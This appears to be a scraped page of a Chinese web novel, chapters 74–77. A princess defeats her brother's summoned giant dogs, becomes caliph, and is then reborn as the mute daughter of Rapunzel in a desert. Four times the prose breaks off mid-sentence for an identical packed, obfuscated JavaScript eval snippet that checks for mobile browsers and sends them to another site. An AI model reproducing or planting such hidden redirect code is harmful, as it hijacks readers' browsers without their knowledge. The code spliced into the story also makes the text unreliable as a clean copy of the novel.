“你父亲现在可不止你一个儿子了，够了马蒙，动动你的脑子吧！” “你的好妹妹揭发你和恶魔交易，侍卫现在应该已经从你的宫殿里搜出了罪证，你现在还觉得你的继承人的地位坚不可摧吗？” 马蒙的惊慌被祖拜达王后看在眼里，她终于确认，马蒙真的背弃了真主，做出了有辱家族甚至国家的事。 纵使马蒙一直都是她心爱的孩子，她一时间也有想要将他掐死的冲动。 祖拜达王后闭了闭眼，再睁开后眼底已经恢复了沉静。 “你做出这样的事，哈里发和朝臣们是不会原谅你的。我们眼下唯一的选择就是逃走，离开阿拉比亚王国。” “不！我不要离开！” “怎么没有办法，杀光所有知道的人就好了！” 马蒙已经意识到了他即将面临的局面，但是他不愿意像个失败者一样离开，他还有最后的底牌。 他的神色变得狰狞，从贴身的口袋中拿出了一个看起来破破烂烂的打火匣。 三次摩擦后，三只大狗应声出现，它们的眼睛就像茶杯、车轮和灯塔那么大，炯炯有神地盯着眼前的人类。 祖拜达王后和女奴们几乎要被吓晕了，她们从未见过如此巨大的生物，这些狗难道是来自地狱的吗？ 打火匣是阿赫勒教团的主教佐尔万为了表示他们的忠诚送给马蒙的，拿到手后，马蒙几乎没有使用过。 一方面是佐尔万叮嘱他千万不能随意使用打火匣，否则很有可能会引起战争，仙女亦不会坐视魔法生物在大陆上肆虐。 另一方面的原因是马蒙确实没有什么能用到打火匣的地方，他不管想做什么或者想要什么东西，基本动动嘴皮子就能办到，根本不需要大狗的帮助。 但是在此刻，他穷途陌路之时，想起了打火匣，他的脸上出现了一个残忍的微笑：“带我去哈伊尔宫殿，我要把所有不服我的人都拍成肉泥！” 辛蒂是通过她放在法蒂玛身上的护符感受到事情不太对劲的。 护符除了保护法蒂玛不受外界伤害，在破碎时还会让辛蒂有所察觉。 要知道辛蒂制作的护符没那么容易坏掉，最起码普通的刀枪等冷兵器都能被随意挡住。此时破碎，说明意外情况发生了。 辛蒂以最快速度赶到哈伊尔宫殿，远远的，她就看到了三只横行霸道的大狗，还有坐在大狗头上的马蒙。 辛蒂倒吸一口凉气，打火匣竟然在马蒙手里。 佐尔万死得太快，以至于她无法打听打火匣的下落，阿赫勒教团的众人亦对此一无所知，就连占卜也难以确定打火匣的去向。 纵使早有心理准备，辛蒂还是被最大的那只大狗的庞大身躯震惊到失语，它几乎有宫殿那么高，跺跺脚地面都会物理意义上的震两震。 它此时正在马蒙的命令之下，将哈伊尔宫中的大臣和学者们扬起，又重重地甩到地上，成为一滩肉泥。 眼看它的下一个目标就是哈里发拉希德，辛蒂冲到已经被吓傻的哈里发面前，将随身携带的蓝格子围裙挡在身前。 大狗粗壮的爪子停滞在半空中，果然不再继续攻击。 蓝格子围裙的魅力是巨大的，不仅辛蒂面前的大狗，其余两只大狗看到蓝格子围裙，也停止了虐杀的动作，呆立在了原地。 大狗头上的马蒙气急败坏地拉拽着大狗头上的毛，意图让它们继续攻击。 “该死的畜生，快给我继续！让这些不肯服从我的人都去死，快啊！” 可是不管他怎么喊，大狗们都纹丝不动，一点听话的意思都没有。 死里逃生的人们都感激得看着如同神兵天降的辛蒂亚公主，尤其是在死亡的边缘走了一遭的哈里发，他靠在叶海亚的身上，嘴里不住地说： “干得好辛蒂亚，干得好······” 大势已去，马蒙指挥不动大狗，只能眼睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990294|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁看着侍卫们将他从狗头上拽下来，夺走他手中的打火匣献给了辛蒂亚公主。 为什么没有献给哈里发？在侍卫们眼中，辛蒂亚公主必定是得到了真主的授意前来制服这些怪物，这样的万恶之源交到她的手中再合适不过。 辛蒂拿着其貌不扬的打火匣，内心颇为感叹，这样的发展是她没有想到的。命运真是奇妙，兜兜转转，打火匣还是到了她的手上。 事情的后续自然是马蒙被抓住关押起来，原本哈里发只打算将马蒙监禁起来，可是现在马蒙在大庭广众之下，杀害了那么多大臣。 他只能判处马蒙以死刑，他需要为自己犯下的罪孽付出代价。 处理完马蒙的事后，紧接着就是商议王国的继承人应该选谁。 辛蒂作为神佑公主，又确实做出了不少实实在在的政绩，她还有着宰相叶海亚和乌莱玛们的支持，成为了继承人的不二人选。 虽说朝中还是有不少顽固的大臣，认为未来的哈里发不应该是一位女性，哈里发应该选择辛蒂亚公主的弟弟艾利作为继承人。 事实上哈里发也是这么想的，可最终还是被宰相叶海亚说服了。 艾利年纪太小了，尚且看不出来才智如何，没道理舍弃一个各方面条件都十分优越的继承人，而去选择一个三岁的孩童。 更何况哈里发不一定能活到艾利长成那一天，继位的时候必然会引起风波。 对于辛蒂成为新的阿拉比亚王国继承人这一点，最为不满的是阿伊莎。 她在得到消息后，原本想怒气冲冲地质问辛蒂为何要跟艾利争夺继承人的位置，她的理智阻止了她。 她很清楚辛蒂亚已经不再是那个孱弱的小女孩了，辛蒂亚如今拥有着她做梦都不敢想的权力。 她这样只会引起辛蒂亚的反感，甚至会危害到艾利。 女人怎么能做哈里发呢？阿伊莎始终坚信这个位置早晚是艾利的。 却不曾想艾利是在辛蒂的保护下出生的，没了辛蒂，她们母子如今是否还或者都未可知。 辛蒂很快就知道了阿伊莎的意图，她实在是表现得太明显了。 她让哈里发为艾利请最好的老师，教导的内容完全是哈里发应该学习的东西，她还暗地里挑唆艾利疏远辛蒂。 对此辛蒂只觉得荒谬，她好像从未认识过阿伊莎，她怎么会产生这样的想法？ 辛蒂从不对敌人心慈手软，哪怕是她这具身体的母亲。 艾利还小，还可以教导，她从没想过对一个小男孩不利。 于是她只是将阿伊莎和艾利隔开，让艾利能接触到正常的，没有人会逼迫他的世界。 很多年后，艾利成功长成了一个有责任心有担当的男子汉，他还是辛蒂的得力臂膀。 辛蒂也在哈里发去世后接过了他的位置，成为了有史以来的第一位女性哈里发。 在位期间，辛蒂治下的阿拉比亚王国成为了这片大陆最强大的国家，亦是政治最为清明的时代，造福了无数人，为后世留下了浓墨重彩的一笔。 在哈里发辛蒂亚生命的最后，她回顾了自己的一生，从一个任人摆布的公主走到今天的位置。 对辛蒂来说，这就是这个童话最好的结局。 75.天崩开局 辛蒂是在一阵难以言喻的饥渴之中醒来的。 她感觉自己的嗓子里好像有一块爆碳在烘烤，她打赌她的喉咙里干得一丝液体都分泌不出来了。 不过和腹中的饥饿相比，难耐的渴意也要退一射之地。这样的饥饿是辛蒂从未体会过的，似乎过去的三辈子都没吃过饭。 这具身体不知道怎么回事，头昏昏沉沉的，没什么力气，辛蒂刚坐起来就想躺回去。 她觉得自己滚烫滚烫的，似乎在发烧。 最后求生的意志还是压倒了一切，辛蒂最终还是挣扎着睁开了眼睛。 她发现自己躺的地方是一个破烂的，既没有办法挡风，也没办法避雨的棚子里。 棚子里的东西一眼就能看完，一张看上去随时都会散架的木床，一条辛蒂刚刚还盖着的并不算厚实的布毯。 另还有一个炉子并一口锅和几个碗，这就是这个棚子里所有的东西了。 并且锅碗都是空空的，整个棚子里一口水都没有。 辛蒂内心麻麻的，一时间有种跳过这个童话世界的冲动。她认真地思考起来，要是她现在就自杀，能去往下一个世界的可能性有多大。 让人悲伤的是，她现在连自杀的力气都没有。事实上，自从她从床上坐起来以后，光是转头就十分吃力。 她稍微动一动，心脏就狂跳，仿佛下一秒就会罢工。 正在辛蒂一筹莫展之际，棚外一个小男孩忽然走了进来，他径直走到床边，双手似乎想要扶起什么人，却扑了个空。 男孩脏兮兮的小脸上出现了几分担忧，“辛蒂？辛蒂？#￥%@······” 毫无疑问，这个男孩是个瞎子，怪不得辛蒂直勾勾地看了他那么久，他却一无所觉。 从发音中，辛蒂听明白了这个男孩在呼唤自己的名字，不过后面的话她就听不懂了，那不是她熟知的任何一门语言。 她抓住男孩乱舞的手，刚想尝试说些什么，却发现自己说不出话来。 这具身体竟然是个哑巴！ 从一双比鸡爪大不了多少的小手上看，还是个年纪很小的哑巴。 这个发现甚至比自身的状况以及环境对辛蒂更加具备打击性。 对于一个普通人来说，失去了声音意味着不再能和外界顺利交流。 而对于一个术士来说，绝大多数魔法都需要辅以咒语，需要念出声的那种，这意味着她失去了大部分的施术能力。 这样的天崩开局，真的有可能被逆转吗？ 辛蒂稳住心神，她目前还不知道这是什么童话世界，一般而言除非是作恶者，童话故事里的人物都不会很惨。 尤其这具身体还是一个小孩，大概率后面会出现转机。 妹妹回握的手让男孩安定下来，他看不见，自然也不知道女孩的面色极其难看。 他摸索着从包袱里拿出一个看不出原本颜色的木制水壶，又掏巴掏巴掏出了几个长相怪异看不出是什么的果子放到床上。 直到他捏捏辛蒂的手指，她才意识到男孩这是让她喝水，还有吃东西。 身体的本能让辛蒂无法嫌弃这些珍贵的食水，尽管这水大概率没有经过煮沸消毒，这果子也没有被清洗过。 她迫不及待地打开水壶，咕噜咕噜喝下去了一半，灼人的干渴缓解了不少。 她还想再喝，男孩却有些粗暴地夺走了水壶，他小心翼翼地盖上盖子，指了指外面，语气很凶的说了一句什么。 辛蒂猜他要么是在说水很难得，要么是要将水留给其他人，或许是他们的父母。 辛蒂半天没有反应，男孩又有些后悔自己态度不好，带着几分歉意再次捏捏辛蒂的手指，将奇怪的果子塞到她的手里让她吃。 辛蒂从善如流，她的身体确实很需要食物。她的头比刚刚更晕了，她怀疑再这样下去自己会被烧成傻子。 这果子的口感很差，粉粉的，一点水分都没有，吃上去像是在干嚼面粉。 出人意料的是饱腹感很强，辛蒂吃了两枚后，腹部总算是没了那种火烧火燎的感觉。 待到辛蒂的咀嚼声传来，男孩便知道她开始了进食。 单方面认为妹妹不再生气了的他亦拿起一枚果子，小口小口地啃食起来。 男孩很瘦，小脸上的婴儿肥几乎没有，不过看他吃得香，辛蒂觉得他还挺可爱的。 莫名的，没什么味道的果子也变得香甜了几分。 两个小孩吃完“饭”后，男孩将剩下的两枚果子放好，开始坐在床边发呆。 他明明看不见，眼睛却精确地对准了草棚的入口，似乎在等待着什么人归来。 在这样语言不通，她是个哑巴，对方是个瞎子的情况下，她和男孩几乎没有交流的可能。 辛蒂的身体还很虚弱，不做这样无用的尝试。 辛蒂吃完东西后有了点力气，不过还是晕乎乎的。 就着这点子力气，辛蒂用魔法在自己的体表生成一层薄薄的水，以物理降温。 男孩对于辛蒂的动作一无所知，他甚至都不知道自己的妹妹在发烧，他一直都在盯着外面。 辛蒂抵抗着睡意，每当感受到水被体表的高温蒸发后就及时补上，一直到感受到自己的温度慢慢降了下来才放心睡去。 不知过了多久，辛蒂被低低的交谈声吵醒，睁开眼睛一片漆黑。 这把她吓得不轻，还以为一觉醒来自己也失明了。 幸好只是天色暗了下去，棚子里没有光源所以很黑。待到眼睛适应了后，辛蒂看到棚子里有两个一大一小走动的黑影。 小的自然就是那个小瞎子，大的或许就是他们的母亲或姐姐。 发现辛蒂醒来，他们都围到了床边上。 棚里实在是太暗了，辛蒂完全看不清他们的脸。 辛蒂只感受到了一只非常柔软温暖的手轻轻抚摸着她的额头，还有一个吻落在了她的额角。 随即一碗药汁被这只手喂进了辛蒂的嘴里，苦涩极了，像是野草榨出来的汁液。 喝完药后，女人又说了些她听不懂的话，带着浓浓的安抚意味。 辛蒂没有做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997125|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何反应，片刻后女人温柔的嗓音响起，哼唱着辛蒂听不懂的摇篮曲，辛蒂从没听过这么美的曲子。 不知道是因为女人的嗓音美妙，还是因为曲子本身就很美。 潜意识里，辛蒂知道这就是这具身体的母亲，这就是母亲的感觉吗？ 不知不觉间，辛蒂再次睡了过去，这次她睡得更沉了。 天光大亮的时候，辛蒂几乎以为自己还在宫殿里的大床上，女奴们准时为她拉开了窗帘。 她还想再睡会，刚准备吩咐女奴们停下动作，发不出声音的喉咙将她拉回了现实。 她昨天还存了些侥幸心理，想着是不是因为发烧这具身体才发不出声音，现在烧退了，情况依然没有变化。 她无声叹了口气，认命地睁开眼睛。 眼前当然还是那个破旧的棚子，还有一个忙碌的女人，昨天那个小男孩则不知所踪。 从辛蒂的角度，只能看到女人纤细的背影，她有着一头如阳光一般灿烂的金发，被简单地编成了一根辫子垂在脑后。 单从背影，就能看出这绝对是个美人。不过这在童话故事里也算标配，没什么稀奇的。 经过一夜的休息，辛蒂感觉到自己的身体状况好了许多，脑子也变得足够清明。 她一一猜测着这可能是哪个童话，她好像不记得哪个童话的主角不会说话。 就算不说话也是因为形势所迫，而非真正变成了哑巴。 想了半天，辛蒂还是一点头绪都没有，只能再观察观察。 女人转过身，好吧辛蒂有些失望，没有想象中的美貌，看起来灰扑扑的。 她显然过得不是很好，皮肤缺乏光泽，脸上也没什么肉，不过仔细看还是能看出来底子很好。 果然不管是怎样的美貌，没有华服珠宝修饰，被生活搓磨之后都会蒙尘。 辛蒂能感受到女人看向她的眼神很温柔，像是把她浸在温水里，有种说不出的暖和。 看到女孩醒来，她的眼中先是露出了一抹惊喜，随即用手触摸了一下女孩的肌肤，确定灼人的温度褪去后才松了口气。 她从锅里盛出一碗糊糊状的食物，拿到床边准备喂食。 不过被辛蒂拒绝了，她坚持要拿着木勺自己吃饭，她又不是真正的小孩，不能接受被大人喂饭。 糊糊似乎就是昨天的那种奇怪的果子捣烂后，加水煮熟后的状态。 比生吃好一点，但不多，像是没有甜味的黑芝麻糊。 辛蒂看出来他们的生活确实很窘迫，食物几乎只有这一种，怪不得都看起来营养不良的样子。 辛蒂慢吞吞地吃完她那一小碗食物之后，女人已经结束了进食，开始“洗碗”。 从昨天男孩那么护着那一壶水，可以看出来这里的水资源非常珍贵，所以洗碗自然也不能用水。 所谓洗碗实际上就是将干净的沙子将碗搓一搓，带走上面的食物残渣就算洗好了。 这在沙漠地区是很常用的清洗方式。 是的，他们现在所在的区域是一片荒漠。 76.外出 辛蒂今天终于有力气走出棚子，当她发现四面八方都是金黄色的沙子，一点其他的杂色都看不到的时候，整个人都呆滞了。 上一次看到这么多沙子还是她从埃烈回到巴格达，当时穿过了沙漠地区。 按照她对童话故事的了解，这样的情况一般都出现在主角得罪了女巫或者魔鬼，被惩罚性质的丢到沙漠中自生自灭。 可是没见过被丢到沙漠中求生的，而且能在贫瘠的沙漠中生存下去也是一件很神奇的事。 现在辛蒂发自内心地觉得女人和那个小男孩真的很厉害，竟然能在这样的地方找到食物。 而且还养活了这么大一个拖油瓶，不得不说这是一个奇迹。 辛蒂在外面没站多久，就被女人发现她偷偷溜了出来，被抓回去后还被说了几句，辛蒂一个字都听不懂。 她大概猜出了女人的意思，应该是不让她出去，好好待在家里之类的。 辛蒂庆幸这具身体还好是个哑巴，她不用回答他们。 转念一想，她要是能说话，现在说不定已经找到了学习语言的方法，而不是现在这样两眼一抹黑了。 这里没有时间的计算方式，辛蒂只能靠着数日出日落的次数来算过了多久。 在第十次日出的时候，辛蒂基本适应了这个荒漠中的小家的日常，对两个新家人有了一定的了解。 小男孩博依是这具身体的哥哥，辛蒂是从女人的称呼中知道博依这个名字的。 而博依一直都称呼女人为一个类似“mama”的音节，她的名字不得而知。 兄妹俩似乎年纪差不多，博依却比她的身体素质好不少。 博依的眼睛看不见，听觉和嗅觉却都很灵敏。 辛蒂一开始很疑惑他这样的状态怎么能外出寻找食物，还能顺利回到家呢？ 后来发现他有一卷很长的绳子，每当出门的时候都会将绳子拴在床腿上，回来的时候就顺着绳子摸索回来。 而且博依常常都能闻到风中植物的味道，他每次都能带回粉果，粉果是辛蒂给那个奇怪的果子取的名字。 失明的博伊都在每天勤勤恳恳地外出寻找食物，这让只会躺着消耗粉果的辛蒂多少有些觉得不好意思。 在她感觉自己的身体终于好得差不多了的时候，在某天早上拉着博伊，背上了她在棚子里找到的，似乎是她专用的小布兜，一副要跟他一起出门的样子。 博伊不知道自己即将带着一个小累赘出门，他很疑惑为什么衣摆被人拽住了。 阿金看到辛蒂身上的小布兜就明白了她的意思。她很惊讶，辛蒂从前从来都不愿意出去寻找食物的。 辛蒂没想到的是，这个小布兜一次都没有用过，只是因为原身想要阿金就给她做了一个。 面对辛蒂大眼睛中的期许，阿金原本觉得她还应该再在家好好修养一段时间的。 转念一想辛蒂这段时间说不定被憋坏了，阿金最后还是心软地点点头。 阿金是辛蒂在心里偷偷为女人起的昵称，她一时间还没接受自己又多了个妈，上个世界对阿伊莎她都是直呼其名的。 既然答应了女儿，阿金决定和兄妹二人一起出门，博伊一般都是单独出门寻找食物，而她则要去另外一个地方采集荨麻用来编织。 这次有了辛蒂，博伊和辛蒂又无法顺利交流，她还是跟他们一起比较放心。 对于妹妹要一起外出这件事，博伊是很开心的。 在博伊的心中，妹妹又懒又笨，还不会说话，然而博伊还是很喜欢她。听不到妹妹的声音，她的呼吸声仍然能让博伊觉得自己不是一个人。 尤其是在等待妈妈回家的时候，有人陪伴的感觉真的很好。 他之前还偷偷希望妹妹能和他一起外出，什么都不用做，只要待在他能触摸到的地方就好，没想到这个愿望这么快就实现了！ 辛蒂不知道博伊为什么像个小傻子一样蹦蹦跳跳的，她正在艰难地在沙地里跋涉。 不管之前的哪个世界，她都没有遇到过这样的行走环境，每一步她都需要用力地将深陷的脚从沙子里拔出来。 没几步路辛蒂就走得气喘吁吁。 听到妹妹粗重的呼吸声，博伊面露嫌弃，“妹妹真差劲。” 平时阿金有空的时候，会拿出一本书给她和博伊讲故事。自从看到书后，辛蒂就抱着它不撒手了，这不是就她学习文字的教材吗。 正好这本书里都是一些讲给小孩子听的睡前故事，涉及到的文字都很简单。 阿金是识字的，辛蒂不知道她的受教育水平如何，教她却是绰绰有余。 在辛蒂的不懈努力下，她这几天来已经认识了许多字，博伊和阿金之间的对话也能听懂一些了。 博伊的抱怨让辛蒂有些破防，仗着他看不见，辛蒂狠狠瞪了博伊一眼。 注意到他健壮的小体格，还有如履平地的灵活，又忍不住感到羡慕。 阿金轻拍了一下博伊的小脑袋道：“博伊，不许欺负妹妹。” 博伊很听阿金的话，那之后果然再没有抱怨过。 辛蒂一路走走歇歇，他们看到绿洲的时候，太阳已经缀到了山尖。 为了躲避中午太阳的酷烈，他们大概是在太阳在西面天空的时候出发的，也就是说他们走了差不多两个小时。 辛蒂感觉自己的双脚都快磨出水泡了，不过看到眼前小小的绿洲，竟然觉得漫长的路程是值得的。 不管辛蒂看过多少次，辛蒂都会生出沙漠中的绿洲真是个奇迹的感叹。 在寸草不生的土地上孕育出生命，这不能不说是自然的壮举。 在博伊的抱怨中，辛蒂知道这段距离他平时一个小时不到就走完了。能将就辛蒂的速度，已经是他很有耐心的结果。 时间已经不早了，阿金和博伊开始加快动作采摘绿洲中的粉果。辛蒂的任务则是到小水塘旁边将两个水囊加满水。 水塘里的水又清又亮，里面还有几只小鱼无忧无虑地游动着。 看到小鱼，辛蒂不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000959|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽了咽口水，要是能抓上几只，今天的晚饭就能喝上鱼汤了。 可惜，那些鱼儿灵活得不可思议，每次都能从辛蒂的指缝间溜走。 因为灵性的作用，辛蒂即使动作不够敏捷，却能预判到小鱼的动作。按理说抓个鱼应该轻轻松松，可是好几次她明明都抓实了，手上还是空空如也。 正当辛蒂觉得奇怪的时候，阿金注意到辛蒂的动作，以为她只是贪图好玩，提醒她道：“小辛蒂，这些鱼都是魔法鱼，靠双手是抓不到的哟。” 魔法鱼？阿金平淡的语气让辛蒂意识到这个世界魔法恐怕不是什么罕见的东西。 可惜一肚子疑问表达不出来，辛蒂只好把怨气发泄到可怜的小鱼们身上。 既然是魔法鱼那就不奇怪了，辛蒂让双手带了些魔力，这一次小鱼们再也没能逃出她的手掌心，她的小布兜里没一会就装了好几条小鱼。 博伊每次汲水的时候都能感受到水塘里的鱼调皮地从他的手边游走，此时听到阿金说辛蒂抓到了鱼，吃惊地瞪大了双眼。 “妹妹好厉害！” “可是你抓它做什么呢？” 可怜的博伊，从出生到现在几乎只吃过粉果，竟然不知道鱼竟然是一种可以吃的食物。 听到阿金的解释，他这才把故事书中的鱼和水塘里的鱼联系在一起，恍然大悟，对于今天能吃到一种全新的食物期待不已。 “吃鱼鱼！吃鱼鱼！” 可惜博伊不能帮忙，只能在旁边帮辛蒂加油。 辛蒂抓完了鱼，突然觉得很奇怪，为什么阿金和博伊的布兜里只有寥寥几个粉果，目测也只够他们三个人吃一天的。 她来的时候明明看到那些灌木上密密麻麻结满了粉果，还准备等会去帮他们一起摘呢。 目光触及那些灌木，辛蒂找到了原因。灌木上已经一个粉果都没有了！ 阿金和博伊应当不会也没有理由把粉果藏起来，那唯一的解释就是当他们摘了一定数量的粉果以后，剩下的就消失了。 又是某种魔法吗？有了魔法小鱼的先例，辛蒂很容易就联想到了这个方面。 这不是纯纯折腾人吗？好恶毒的魔法！ 这个设置让辛蒂对于“惩罚”的猜测有了进一步的佐证，条件艰苦地生活在沙漠中，每天必须长途跋涉才能获取食物，这不是惩罚是什么呢。 之前辛蒂还在想为什么他们不干脆就居住在绿洲中，这不比那个小破棚子舒服。 现在看来他们不是不想，应该是不能。 要是他们坚持待在绿洲中，或许会被强制送回棚子，或许会遭遇一些不好的事，总之居住在绿洲里肯定是行不通的。 这些发现让辛蒂有些郁闷，她原本还打算想办法带着阿金和博伊离开沙漠，现在看来，设置这个“惩罚”的人是不会允许的。 这周围应该设置了一个魔法阵，可能他们永远都走不出这个地方。 这还不如让她出生在贫民窟呢，最起码能有比较简单的办法解决困境。 77.拉潘泽尔 离开绿洲的时候，天色已经逐渐变暗了。 夜晚的沙漠是危险的，以辛蒂的经验，首先低温就能将人活活冻死，更别说还有沙漠狼、鬣狗之类的捕食者。 可是阿金和博伊看上去一点都不担心，因为要照顾辛蒂，他们还走得慢悠悠的，并不急着回家的样子。 路程无聊，阿金还唱起了歌，同样是辛蒂从没听过的曲调，这次她听懂了一部分歌词。 ······哦命运，像月亮般，变化无常，时而满盈时而亏缺/可憎的生活，时而残酷时而温柔，玩弄人心，将贫穷与权势，如冰雪般消融。 看来阿金的心里有一段爱恨，或许是关于这具身体的父亲的，不知道她牵挂着的这个男人究竟是谁，目前又身在何方。 伴随着阿金的歌声和月光，三人回到了他们的家。 居住的时间久了，辛蒂看到这个小破棚子竟然觉得有些亲切。 博伊期待了一路的鱼汤在他每隔两分钟就要问一次的催促声中，终于做好了。 辛蒂原本以为没有任何调料，直接熬出来的鱼汤会很腥，没想到却意外的鲜美。 就连熬汤剩下的鱼肉也一点都不柴，博伊吃得头也不抬。 吃完他那一份后，博伊还显得意犹未尽，连声询问辛蒂明天要不要再一起去摘粉果。 他知道辛蒂不会说话，就一直捏她的手指，这也算是兄妹二人之间的小暗号。一直到辛蒂也捏捏他的手表示同意，他才不问了。 在小小的博伊的心里，妹妹已经和好吃的鱼划上了等号。 他很聪明，知道鱼是妹妹抓的，而且只有妹妹会抓，要不然怎么阿金从来都没有抓过呢。 博伊的世界很简单，妈妈和妹妹都在，还有好吃的食物，就已经很幸福了。在浓浓的满足感中，他很快睡去。 辛蒂却没有博伊那么无忧无虑，她需要思考的事还有很多。出一趟门，辛蒂心中的疑问并没有被解决，反而变得更多了。 究竟是谁将她们三人困在了这个地方呢？这个人会魔法，而且会的法术比她多。 她现在都没想通那些粉果是怎样做到摘了一定数量之后就消失的。 这个人虽然给母子三人的生活设置了许多困难，实际上却在为他们提供食物以及保护。 他们今天走了很久才摘到了粉果，但要是真的在沙漠中求生，食物的寻找可没这么容易。 绿洲可能会干涸，植物也会随时凋零。 可是看阿金和博伊的样子就是从来都没有缺过粉果，这说明那片绿洲是稳定存在的。 而且博伊身体很健康，这绝不是单一的食物可以养出来的孩子，这粉果不会是什么普通的果子。 还有异常安全的夜晚，阿金并不担心狼或者鬣狗，这说明她从没遇到过。 这么一想辛蒂几乎要感谢幕后之人了，要不是这人的暗中保护，他们绝对活不到现在。 这个人一定是个女巫，因为童话故事里会魔法的反派大多都是女巫，这倒没什么疑问。 在哪个故事里是女巫把母子三人丢到沙漠中呢？ 排除法后，辛蒂心中逐渐有了一个猜测，不过需要阿金帮忙确认一下。 第二天一早，辛蒂一睁眼就看到阿金在编织。 在每天的空闲时间中，阿金都会拿着不知道从哪里采来的荨麻在编着什么东西。 按理说沙漠中不应该存在这种东西的，不过奇怪的事够多了，不差这一项。 那些荨麻又粗又硬，阿金的手在这些荨麻的折磨下长满了厚厚的老茧，她已经习惯了这些荨麻的攻击性，纤细的手指灵活地摆弄着那些枝蔓。 尽管阿金已经足够熟练了，那些隐藏的小刺还是会时不时刺破她的手指，吮吸她的鲜血。 阿金天天都在编织，辛蒂却从来都没有见过成品，她也看不出阿金编的东西是什么。这或许是女巫的另外一项惩罚。 辛蒂猜不透，阿金是否知道这一切的异常之处呢？ 她实在是一个很温柔的女人，不管博伊再怎么调皮她都只是轻轻皱眉。 辛蒂怀疑她已经看出了自己的女儿身体里换了一个灵魂这件事，辛蒂完全不知道这具身体以前是怎么样的，也没有别人的意见可以参考。 她只好按照自己的性格行事，很难不被看出破绽。 可是阿金从来没有问过她，只是偶尔看向她的目光会有些悲伤。 阿金似乎很满足于现在的生活状态，从来都不抱怨任何事，包括这该死的荨麻。 阿金就是那种，会对生活加诸到她身上的一切逆来顺受的女人，不管好的还是坏的，她都照单全收。 阿金此时已经注意到小女儿默默注视着她好一阵子了，她放下手中的荨麻，将女孩搂入怀中。 “小辛蒂，怎么啦？” 辛蒂对于这样亲密的肢体接触已经很习惯了，阿金很喜欢对自己的孩子亲亲抱抱什么的，早安吻晚安吻、平时出门前回家后的拥抱一个都不少。 辛蒂拿出那本旧旧的故事书，翻开其中一页，指着某个单词表示自己有些疑问。 “嗯······让我看看，这个单词是爸爸，爸爸就是和妈妈一起生下辛蒂和博伊的人。” 看到女儿还是歪着头直愣愣地看着自己，不太理解的样子，阿金觉得自己的心都软成了一汪水。 “辛蒂是想知道爸爸去哪了对吗？妈妈也不知道，我只知道他一定很爱我们，爸爸的名字是普林兹。” 看到辛蒂指着故事里的一个人名，阿金知道她的疑问。 普林兹？一个几乎没有用的信息，倒是可以看出这是一个王子。 辛蒂的最终目的是想知道阿金的名字，她噔噔噔跑去拿了一根平时用来在沙地上写字的树枝，在沙地上写上自己的名字。 她指指自己又指指名字，再指指阿金，在沙地上画了一个问号。 阿金明白了辛蒂的意思，她也拿着树枝，学着辛蒂的样子在地上写下了自己的名字。 “R-a-p-u-n-z-e-l，拉潘泽尔，这就是妈妈的名字。 ”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005482|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 果然！ 辛蒂的猜测得到了证实，Rapunzel是德语野莴苣的意思，这个名字直指那个，女孩被女巫关在高塔上，王子设计和女孩会面，两人相爱的故事。 辛蒂一开始没有往这个童话故事上想，毕竟之前两个世界里她都是童话的主角，没想到这个世界竟然变成了主角的女儿。 第一次看这个故事的时候，辛蒂就觉得隐隐不适。 先不说女巫将莴苣从父母身边要来的行为是好是坏，她除了不让莴苣见外人以外，对她并不差。 而王子就是纯纯的见色起意，还在没有给莴苣任何保障的情况下让她怀上了自己的孩子，属实有些垃圾。 在被女巫发现莴苣怀孕以后，她将莴苣和她肚子里的孩子流放到了荒漠之中，王子则被女巫推下高塔，被荆棘刺瞎了眼睛。 按照故事的发展，应当没多久王子就会找到莴苣，带她和一双儿女回到王宫过上幸福快乐的生活。 这样的发展辛蒂倒是没有什么意见，那能有什么办法，孩子都这么大了，换个角度想王子相当于解救了他们母子三人，也挺好的。 不过要是王子后面对他们不好，辛蒂肯定要做点什么。 按照辛蒂的经验，故事肯定不会这样顺利地进行下去，其中必定会出现一些幺蛾子。 